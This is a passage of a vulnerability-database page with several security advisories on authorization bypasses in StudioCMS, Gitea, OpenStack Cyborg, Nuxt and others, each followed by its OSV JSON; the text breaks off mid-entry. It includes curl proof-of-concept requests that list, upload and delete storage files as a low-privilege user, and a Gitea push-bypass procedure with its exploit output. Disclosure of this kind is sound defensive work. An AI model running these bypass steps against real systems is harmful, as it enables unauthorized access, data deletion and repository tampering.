Vulnerability from github – Published: 2026-03-12 14:49 – Updated: 2026-03-12 14:49
VLAI
Summary
StudioCMS S3 Storage Manager Authorization Bypass via Missing `await` on Async Auth Check
Details

Summary

The S3 storage manager's isAuthorized() function is declared async (returns Promise<boolean>) but is called without await in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, !isAuthorized(type) always evaluates to false, completely bypassing the authorization check. Any authenticated user with the lowest visitor role can upload, delete, rename, and list all files in the S3 bucket.

Details

The isAuthorized function is typed as returning Promise<boolean> in packages/studiocms/src/handlers/storage-manager/definitions.ts:88:

export type ParsedContext = {
    getJson: () => Promise<ContextJsonBody>;
    getArrayBuffer: () => Promise<ArrayBuffer>;
    getHeader: (name: string) => string | null;
    isAuthorized: (type?: AuthorizationType) => Promise<boolean>;  // async
};

Both context drivers implement it as asyncpackages/studiocms/src/handlers/storage-manager/core/effectify-astro-context.ts:32:

isAuthorized: async (type) => {
    switch (type) {
        case 'headers': {
            // ... token verification ...
            const isEditor = level >= UserPermissionLevel.editor;
            if (!isEditor) return false;
            return true;
        }
        default: {
            const isEditor = locals.StudioCMS.security?.userPermissionLevel.isEditor || false;
            return isEditor;
        }
    }
},

But in the S3 storage manager, it's called without awaitpackages/@studiocms/s3-storage/src/s3-storage-manager.ts:200:

if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {
    return { data: { error: 'Unauthorized' }, status: 401 };
}

And again at line 372 (PUT handler):

if (!isAuthorized(type)) {
    return { data: { error: 'Unauthorized' }, status: 401 };
}

isAuthorized(type) returns a Promise object. !Promise{...} is always false because a Promise is truthy. The 401 response is never returned.

Execution flow: 1. Visitor-role user sends POST to /studiocms_api/integrations/storage/manager 2. AstroLocalsMiddleware verifies session exists — passes (visitor is logged in) 3. Handler calls !isAuthorized('locals') → evaluates !Promise{...} = false 4. Authorization check is skipped entirely 5. Visitor performs the requested storage operation

PoC

# 1. Log in as a visitor-role user and obtain session cookie

# 2. List all files in S3 bucket (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"action":"list","prefix":""}'

# Expected: 401 Unauthorized
# Actual: 200 with full bucket listing

# 3. Upload a file as visitor (should require editor+)
curl -X PUT 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/octet-stream' \
  -H 'x-storage-key: malicious/payload.html' \
  --data-binary '<h1>Uploaded by visitor</h1>'

# Expected: 401 Unauthorized
# Actual: 200 File uploaded

# 4. Delete a file as visitor (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"action":"delete","key":"important/document.pdf"}'

# Expected: 401 Unauthorized
# Actual: 200 File deleted

Impact

  • Any authenticated visitor gains full S3 storage management (upload, delete, rename, list) — capabilities restricted to editor role and above
  • Attacker can delete arbitrary files from the S3 bucket, causing data loss
  • Attacker can list all files and generate presigned download URLs, exposing all stored content
  • Attacker can upload arbitrary files or rename existing ones, replacing legitimate content with malicious payloads

Recommended Fix

Add await to both isAuthorized() calls in packages/@studiocms/s3-storage/src/s3-storage-manager.ts:

// POST handler (line 200) — before:
if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {

// After:
if (authRequiredActions.includes(jsonBody.action) && !(await isAuthorized(type))) {

// PUT handler (line 372) — before:
if (!isAuthorized(type)) {

// After:
if (!(await isAuthorized(type))) {
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.3.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@studiocms/s3-storage"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32101"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T14:49:30Z",
    "nvd_published_at": "2026-03-11T21:16:16Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe S3 storage manager\u0027s `isAuthorized()` function is declared `async` (returns `Promise\u003cboolean\u003e`) but is called without `await` in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, `!isAuthorized(type)` always evaluates to `false`, completely bypassing the authorization check. Any authenticated user with the lowest `visitor` role can upload, delete, rename, and list all files in the S3 bucket.\n\n## Details\n\nThe `isAuthorized` function is typed as returning `Promise\u003cboolean\u003e` in `packages/studiocms/src/handlers/storage-manager/definitions.ts:88`:\n\n```typescript\nexport type ParsedContext = {\n    getJson: () =\u003e Promise\u003cContextJsonBody\u003e;\n    getArrayBuffer: () =\u003e Promise\u003cArrayBuffer\u003e;\n    getHeader: (name: string) =\u003e string | null;\n    isAuthorized: (type?: AuthorizationType) =\u003e Promise\u003cboolean\u003e;  // async\n};\n```\n\nBoth context drivers implement it as `async` \u2014 `packages/studiocms/src/handlers/storage-manager/core/effectify-astro-context.ts:32`:\n\n```typescript\nisAuthorized: async (type) =\u003e {\n    switch (type) {\n        case \u0027headers\u0027: {\n            // ... token verification ...\n            const isEditor = level \u003e= UserPermissionLevel.editor;\n            if (!isEditor) return false;\n            return true;\n        }\n        default: {\n            const isEditor = locals.StudioCMS.security?.userPermissionLevel.isEditor || false;\n            return isEditor;\n        }\n    }\n},\n```\n\nBut in the S3 storage manager, it\u0027s called without `await` \u2014 `packages/@studiocms/s3-storage/src/s3-storage-manager.ts:200`:\n\n```typescript\nif (authRequiredActions.includes(jsonBody.action) \u0026\u0026 !isAuthorized(type)) {\n    return { data: { error: \u0027Unauthorized\u0027 }, status: 401 };\n}\n```\n\nAnd again at line 372 (PUT handler):\n\n```typescript\nif (!isAuthorized(type)) {\n    return { data: { error: \u0027Unauthorized\u0027 }, status: 401 };\n}\n```\n\n`isAuthorized(type)` returns a `Promise` object. `!Promise{...}` is always `false` because a Promise is truthy. The 401 response is never returned.\n\n**Execution flow:**\n1. Visitor-role user sends POST to `/studiocms_api/integrations/storage/manager`\n2. `AstroLocalsMiddleware` verifies session exists \u2014 passes (visitor is logged in)\n3. Handler calls `!isAuthorized(\u0027locals\u0027)` \u2192 evaluates `!Promise{...}` = `false`\n4. Authorization check is skipped entirely\n5. Visitor performs the requested storage operation\n\n## PoC\n\n```bash\n# 1. Log in as a visitor-role user and obtain session cookie\n\n# 2. List all files in S3 bucket (should require editor+)\ncurl -X POST \u0027http://localhost:4321/studiocms_api/integrations/storage/manager\u0027 \\\n  -H \u0027Cookie: studiocms-session=\u003cvisitor-session-token\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"action\":\"list\",\"prefix\":\"\"}\u0027\n\n# Expected: 401 Unauthorized\n# Actual: 200 with full bucket listing\n\n# 3. Upload a file as visitor (should require editor+)\ncurl -X PUT \u0027http://localhost:4321/studiocms_api/integrations/storage/manager\u0027 \\\n  -H \u0027Cookie: studiocms-session=\u003cvisitor-session-token\u003e\u0027 \\\n  -H \u0027Content-Type: application/octet-stream\u0027 \\\n  -H \u0027x-storage-key: malicious/payload.html\u0027 \\\n  --data-binary \u0027\u003ch1\u003eUploaded by visitor\u003c/h1\u003e\u0027\n\n# Expected: 401 Unauthorized\n# Actual: 200 File uploaded\n\n# 4. Delete a file as visitor (should require editor+)\ncurl -X POST \u0027http://localhost:4321/studiocms_api/integrations/storage/manager\u0027 \\\n  -H \u0027Cookie: studiocms-session=\u003cvisitor-session-token\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"action\":\"delete\",\"key\":\"important/document.pdf\"}\u0027\n\n# Expected: 401 Unauthorized\n# Actual: 200 File deleted\n```\n\n## Impact\n\n- Any authenticated visitor gains full S3 storage management (upload, delete, rename, list) \u2014 capabilities restricted to editor role and above\n- Attacker can delete arbitrary files from the S3 bucket, causing data loss\n- Attacker can list all files and generate presigned download URLs, exposing all stored content\n- Attacker can upload arbitrary files or rename existing ones, replacing legitimate content with malicious payloads\n\n## Recommended Fix\n\nAdd `await` to both `isAuthorized()` calls in `packages/@studiocms/s3-storage/src/s3-storage-manager.ts`:\n\n```typescript\n// POST handler (line 200) \u2014 before:\nif (authRequiredActions.includes(jsonBody.action) \u0026\u0026 !isAuthorized(type)) {\n\n// After:\nif (authRequiredActions.includes(jsonBody.action) \u0026\u0026 !(await isAuthorized(type))) {\n\n// PUT handler (line 372) \u2014 before:\nif (!isAuthorized(type)) {\n\n// After:\nif (!(await isAuthorized(type))) {\n```",
  "id": "GHSA-mm78-fgq8-6pgr",
  "modified": "2026-03-12T14:49:30Z",
  "published": "2026-03-12T14:49:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-mm78-fgq8-6pgr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32101"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withstudiocms/studiocms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "StudioCMS S3 Storage Manager Authorization Bypass via Missing `await` on Async Auth Check"
}

GHSA-MM7C-RHG6-QR4R

Vulnerability from github – Published: 2026-06-16 23:41 – Updated: 2026-06-16 23:41
VLAI
Summary
Gitea: Authorization Bypass via "Allow edits from maintainers" allows unauthorized commits to any readable repo
Details

Summary

Any authenticated low-privilege user with read access to a repository can push arbitrary commits directly to that repository, bypassing all write-access checks.

Vulnerability

Gitea's "Allow edits from maintainers" PR option can be abused via reverse-fork PRs:

  1. The web UI PR-create endpoint binds allow_maintainer_edit=true without verifying that the submitter has write access to the HEAD repository.
  2. Gitea allows creating a PR where BASE = attacker's fork and HEAD = upstream target. The attacker is "maintainer" of the BASE (their own fork), so the flag is set against the upstream HEAD.
  3. On git push over HTTP/SSH, Gitea relaxes the required access mode to Read when SupportProcReceive is enabled (routers/web/repo/githttp.go, routers/private/serv.go) and defers enforcement to the pre-receive hook.
  4. The pre-receive hook calls CanMaintainerWriteToBranch (models/issues/pull_list.go), which finds the malicious PR, sees AllowMaintainerEdit=true, and checks whether the pusher has write access to the BASE repo. Since BASE is the attacker's own fork, the check passes and the push is authorized against the upstream.

Exploitation

  1. Attacker forks the target repository.
  2. Attacker visits the web compare endpoint and creates a PR with BASE = their_fork, HEAD = upstream, and "Allow edits from maintainers" checked.
  3. Attacker clones their fork, makes a commit, and runs git push <upstream_url> <branch> — the push is accepted.

Reproduction

python3 poc.py --repo http://gitea:3000/victim/repo --user attacker --password attacker_pass

poc.py

Expected output:

[+] target: victim/my_repo  default branch: main
[*] forking -> attacker/my_repo_pocfork (202)
[+] fork ready
[+] malicious PR created (BASE=attacker fork, HEAD=upstream)

remote: . Processing 1 references
remote: Processed 1 references in total
To http://192.168.101.20:3000/victim/my_repo.git
   e5c07b3..9a0b884  main -> main

[+] latest commit on victim/my_repo@main: 'PoC: unauthorized commit via maintainer-edit bypass'
[+] CONFIRMED: unauthorized push to upstream succeeded.

A PWNED.txt file will appear on the target repo's default branch, committed by the attacker who has no write access.

Impact

Full repository compromise. Any logged-in user can backdoor any repository they can read, including all public repositories on the instance.

Suggested Fix

Two independent checks are missing; both should be added for defense in depth:

  1. At PR creation: before setting AllowMaintainerEdit = true, verify the submitter has write access to the HEAD repository.
  2. In CanMaintainerWriteToBranch: verify that the PR's HEAD repo matches the repository being pushed to, and that the PR was opened by a legitimate owner/writer of the HEAD repository. Do not trust AllowMaintainerEdit solely based on BASE write access.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.26.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.26.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26231"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T23:41:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAny authenticated low-privilege user with read access to a repository can push arbitrary commits directly to that repository, bypassing all write-access checks.\n\n## Vulnerability\n\nGitea\u0027s \"Allow edits from maintainers\" PR option can be abused via reverse-fork PRs:\n\n1. The web UI PR-create endpoint binds `allow_maintainer_edit=true` **without** verifying that the submitter has write access to the HEAD repository.\n2. Gitea allows creating a PR where **BASE = attacker\u0027s fork** and **HEAD = upstream target**. The attacker is \"maintainer\" of the BASE (their own fork), so the flag is set against the upstream HEAD.\n3. On `git push` over HTTP/SSH, Gitea relaxes the required access mode to `Read` when `SupportProcReceive` is enabled ([`routers/web/repo/githttp.go`](https://github.com/go-gitea/gitea/blob/v1.25.5/routers/web/repo/githttp.go#L189), [`routers/private/serv.go`](https://github.com/go-gitea/gitea/blob/v1.25.5/routers/private/serv.go#L337)) and defers enforcement to the pre-receive hook.\n4. The pre-receive hook calls [`CanMaintainerWriteToBranch`](https://github.com/go-gitea/gitea/blob/v1.25.5/models/issues/pull_list.go#L72) (`models/issues/pull_list.go`), which finds the malicious PR, sees `AllowMaintainerEdit=true`, and checks whether the pusher has write access to the **BASE** repo. Since BASE is the attacker\u0027s own fork, the check passes and the push is authorized against the upstream.\n\n## Exploitation\n\n1. Attacker forks the target repository.\n2. Attacker visits the web compare endpoint and creates a PR with `BASE = their_fork`, `HEAD = upstream`, and \"Allow edits from maintainers\" checked.\n3. Attacker clones their fork, makes a commit, and runs `git push \u003cupstream_url\u003e \u003cbranch\u003e` \u2014 the push is accepted.\n\n## Reproduction\n\n```bash\npython3 poc.py --repo http://gitea:3000/victim/repo --user attacker --password attacker_pass\n```\n[poc.py](https://github.com/user-attachments/files/26641541/poc.py)\n\nExpected output:\n```\n[+] target: victim/my_repo  default branch: main\n[*] forking -\u003e attacker/my_repo_pocfork (202)\n[+] fork ready\n[+] malicious PR created (BASE=attacker fork, HEAD=upstream)\n\nremote: . Processing 1 references\nremote: Processed 1 references in total\nTo http://192.168.101.20:3000/victim/my_repo.git\n   e5c07b3..9a0b884  main -\u003e main\n\n[+] latest commit on victim/my_repo@main: \u0027PoC: unauthorized commit via maintainer-edit bypass\u0027\n[+] CONFIRMED: unauthorized push to upstream succeeded.\n```\n\nA `PWNED.txt` file will appear on the target repo\u0027s default branch, committed by the attacker who has no write access.\n\n\n## Impact\n\nFull repository compromise. Any logged-in user can backdoor any repository they can read, including all public repositories on the instance.\n\n## Suggested Fix\n\nTwo independent checks are missing; both should be added for defense in depth:\n\n1. **At PR creation:** before setting `AllowMaintainerEdit = true`, verify the submitter has write access to the **HEAD** repository.\n2. **In `CanMaintainerWriteToBranch`:** verify that the PR\u0027s HEAD repo matches the repository being pushed to, and that the PR was opened by a legitimate owner/writer of the HEAD repository. Do not trust `AllowMaintainerEdit` solely based on BASE write access.",
  "id": "GHSA-mm7c-rhg6-qr4r",
  "modified": "2026-06-16T23:41:01Z",
  "published": "2026-06-16T23:41:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-mm7c-rhg6-qr4r"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Authorization Bypass via \"Allow edits from maintainers\" allows unauthorized commits to any readable repo"
}

GHSA-MM7J-MHHJ-HJ36

Vulnerability from github – Published: 2026-05-08 00:31 – Updated: 2026-05-13 01:37
VLAI
Summary
OpenStack Cyborg uses rule:allow (check_str='@') as the default policy for multiple API endpoints
Details

OpenStack Cyborg before 16.0.1 uses rule:allow (check_str='@') as the default policy for multiple API endpoints. This unconditionally authorizes any request carrying a valid Keystone token regardless of roles, project membership, or scope. An authenticated user with zero role assignments can complete various actions such as reprogramming FPGA bitstreams on arbitrary compute nodes via agent RPC.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "openstack-cyborg"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "16.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40213"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T01:37:14Z",
    "nvd_published_at": "2026-05-07T22:16:34Z",
    "severity": "HIGH"
  },
  "details": "OpenStack Cyborg before 16.0.1 uses rule:allow (check_str=\u0027@\u0027) as the default policy for multiple API endpoints. This unconditionally authorizes any request carrying a valid Keystone token regardless of roles, project membership, or scope. An authenticated user with zero role assignments can complete various actions such as reprogramming FPGA bitstreams on arbitrary compute nodes via agent RPC.",
  "id": "GHSA-mm7j-mhhj-hj36",
  "modified": "2026-05-13T01:37:14Z",
  "published": "2026-05-08T00:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40213"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/openstack-cyborg/+bug/2143263"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openstack/cyborg"
    },
    {
      "type": "WEB",
      "url": "https://security.openstack.org/ossa/OSSA-2026-011.html"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2026/05/07/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenStack Cyborg uses rule:allow (check_str=\u0027@\u0027) as the default policy for multiple API endpoints"
}

GHSA-MM7M-92G8-7M47

Vulnerability from github – Published: 2026-06-16 13:48 – Updated: 2026-06-16 13:48
VLAI
Summary
Nuxt: Route-rule middleware bypass via case-sensitivity mismatch between vue-router and the routeRules matcher
Details

Impact

Nuxt looks up routeRules for the current navigation by calling getRouteRules({ path: to.path }) from the page-router plugin and the no-pages router plugin. The compiled routeRules matcher (built on rou3) performs case-sensitive matching, while vue-router is configured with its default sensitive: false and matches paths case-insensitively.

The two routers therefore disagree on which rules apply to a given request path: vue-router still matches the page record for /Admin/dashboard, but the routeRules lookup for the same path returns no match. Any appMiddleware declared via routeRules is never added to the middleware set and never runs, on both SSR and client navigations. The same path skips other path-keyed route rules in the same way (ssr, redirect, appLayout, and the prerender / payload hints used client-side).

For applications using routeRules with appMiddleware as an authorization gate (a documented pattern), an attacker can flip the case of any static segment in a protected URL (for example /Admin/dashboard instead of /admin/dashboard) to render the protected page with the middleware skipped. The server returns the fully server-rendered page including any useFetch / useAsyncData results captured during SSR.

This is an instance of CWE-178 (Improper Handling of Case Sensitivity) leading to CWE-863 (Incorrect Authorization) for apps that treat appMiddleware as an authorization boundary.

Mitigating factors

  • Only affects apps that use routeRules.appMiddleware. The more idiomatic definePageMeta({ middleware }) is bound to the matched route record and is unaffected.
  • Nuxt route middleware is documented as an app-layer concern, not a server-side auth boundary; well-built apps enforce authorization again at the API / data-fetching layer.
  • Apps that explicitly set router.options.sensitive = true are not affected.

Patches

Fixed in nuxt@4.4.7 (commit 07e39cd6) and backported to nuxt@3.21.7 (commit 3f3e3fa7). The fix normalizes the path used for routeRules lookups so it matches vue-router's default case-insensitive semantics.

Workarounds

Until you can upgrade, you can mitigate by either:

  1. Setting router.options.sensitive = true so vue-router matches case-sensitively (this changes route-matching behaviour app-wide).
  2. Moving security-critical middleware off routeRules.appMiddleware and onto definePageMeta({ middleware: [...] }) on the protected page components, which is bound to the matched record.
  3. Enforcing authorization at the API / data-fetching layer (which you should be doing in any case).

Credit

Reported by Anthropic / Claude through Anthropic's coordinated vulnerability disclosure process. Reference: ANT-2026-9FSEBYMC.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nuxt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "nuxt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.11.0"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53721"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T13:48:31Z",
    "nvd_published_at": "2026-06-12T15:16:31Z",
    "severity": "HIGH"
  },
  "details": "## Impact\n\nNuxt looks up `routeRules` for the current navigation by calling\n`getRouteRules({ path: to.path })` from the page-router plugin and the\nno-pages router plugin. The compiled `routeRules` matcher (built on\n`rou3`) performs case-sensitive matching, while vue-router is configured\nwith its default `sensitive: false` and matches paths case-insensitively.\n\nThe two routers therefore disagree on which rules apply to a given\nrequest path: vue-router still matches the page record for\n`/Admin/dashboard`, but the `routeRules` lookup for the same path\nreturns no match. Any `appMiddleware` declared via `routeRules` is never\nadded to the middleware set and never runs, on both SSR and client\nnavigations. The same path skips other path-keyed route rules in the\nsame way (`ssr`, `redirect`, `appLayout`, and the prerender / payload\nhints used client-side).\n\nFor applications using `routeRules` with `appMiddleware` as an\nauthorization gate (a documented pattern), an attacker can flip the case\nof any static segment in a protected URL (for example `/Admin/dashboard`\ninstead of `/admin/dashboard`) to render the protected page with the\nmiddleware skipped. The server returns the fully server-rendered page\nincluding any `useFetch` / `useAsyncData` results captured during SSR.\n\nThis is an instance of CWE-178 (Improper Handling of Case Sensitivity)\nleading to CWE-863 (Incorrect Authorization) for apps that treat\n`appMiddleware` as an authorization boundary.\n\n## Mitigating factors\n\n- Only affects apps that use `routeRules.appMiddleware`. The more\n  idiomatic `definePageMeta({ middleware })` is bound to the matched\n  route record and is unaffected.\n- Nuxt route middleware is documented as an app-layer concern, not a\n  server-side auth boundary; well-built apps enforce authorization\n  again at the API / data-fetching layer.\n- Apps that explicitly set `router.options.sensitive = true` are not\n  affected.\n\n## Patches\n\nFixed in `nuxt@4.4.7` (commit [`07e39cd6`](https://github.com/nuxt/nuxt/commit/07e39cd6f26e407b4192b7865bd17bc44536b9bb)) and backported to `nuxt@3.21.7` (commit [`3f3e3fa7`](https://github.com/nuxt/nuxt/commit/3f3e3fa7b5eec8e495f4f8ce0a54813a8875a11e)). The fix normalizes the path used for `routeRules` lookups so it matches vue-router\u0027s default case-insensitive semantics.\n\n## Workarounds\n\nUntil you can upgrade, you can mitigate by either:\n\n1. Setting `router.options.sensitive = true` so vue-router matches\n   case-sensitively (this changes route-matching behaviour app-wide).\n2. Moving security-critical middleware off `routeRules.appMiddleware`\n   and onto `definePageMeta({ middleware: [...] })` on the protected\n   page components, which is bound to the matched record.\n3. Enforcing authorization at the API / data-fetching layer (which you\n   should be doing in any case).\n\n## Credit\n\nReported by Anthropic / Claude through Anthropic\u0027s coordinated\nvulnerability disclosure process. Reference: ANT-2026-9FSEBYMC.",
  "id": "GHSA-mm7m-92g8-7m47",
  "modified": "2026-06-16T13:48:31Z",
  "published": "2026-06-16T13:48:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-mm7m-92g8-7m47"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53721"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/commit/07e39cd6f26e407b4192b7865bd17bc44536b9bb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/commit/3f3e3fa7b5eec8e495f4f8ce0a54813a8875a11e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt/nuxt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nuxt: Route-rule middleware bypass via case-sensitivity mismatch between vue-router and the routeRules matcher"
}

GHSA-MM88-H44M-W2GP

Vulnerability from github – Published: 2026-07-14 00:31 – Updated: 2026-07-14 00:31
VLAI
Details

OpenClaw Feishu tools (npm package @openclaw/feishu) in versions <= 2026.6.6 could ignore per-account disablement. A lower-trust caller or a configured input path could perform actions that should have required a stronger authorization or policy check, resulting in unauthorized operations. The issue is fixed in version 2026.6.9. Impact depends on the operator's configuration and whether lower-trust input can reach the affected feature.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-62187"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-13T22:16:49Z",
    "severity": "HIGH"
  },
  "details": "OpenClaw Feishu tools (npm package @openclaw/feishu) in versions \u003c= 2026.6.6 could ignore per-account disablement. A lower-trust caller or a configured input path could perform actions that should have required a stronger authorization or policy check, resulting in unauthorized operations. The issue is fixed in version 2026.6.9. Impact depends on the operator\u0027s configuration and whether lower-trust input can reach the affected feature.",
  "id": "GHSA-mm88-h44m-w2gp",
  "modified": "2026-07-14T00:31:03Z",
  "published": "2026-07-14T00:31:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-2q7j-2vhx-56g8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62187"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-feishu-tools-authorization-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MMG7-3C66-C28Q

Vulnerability from github – Published: 2025-12-01 18:30 – Updated: 2025-12-01 18:30
VLAI
Details

Incorrect Authorization vulnerability in Data Illusion Zumbrunn NGSurvey allows any logged-in user to obtain the private information of any other user.

Critical information retrieved: * APIKEY (1 year user Session) * RefreshToken (10 minutes user Session) * Password hashed with bcrypt * User IP * Email * Full Name

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13829"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-01T16:15:51Z",
    "severity": "HIGH"
  },
  "details": "Incorrect Authorization vulnerability in Data Illusion Zumbrunn NGSurvey allows any logged-in user to obtain the private information of any other user.\n\n\n\n Critical information retrieved: \n  *  APIKEY (1 year user Session)\n  *  RefreshToken (10 minutes user Session)\n  *  Password hashed with bcrypt\n  *  User IP\n  *  Email\n  *  Full Name",
  "id": "GHSA-mmg7-3c66-c28q",
  "modified": "2025-12-01T18:30:37Z",
  "published": "2025-12-01T18:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13829"
    },
    {
      "type": "WEB",
      "url": "https://docs.ngsurvey.com/installation-setup/change-log#id-3.6.17-2025-05-28"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MMM7-3GCG-H332

Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04
VLAI
Details

Multiple vulnerabilities in the authorization process of Cisco ASR 5000 Series Software (StarOS) could allow an authenticated, remote attacker to bypass authorization and execute a subset of CLI commands on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-1539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-04T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple vulnerabilities in the authorization process of Cisco ASR 5000 Series Software (StarOS) could allow an authenticated, remote attacker to bypass authorization and execute a subset of CLI commands on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.",
  "id": "GHSA-mmm7-3gcg-h332",
  "modified": "2022-05-24T19:04:04Z",
  "published": "2022-05-24T19:04:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1539"
    },
    {
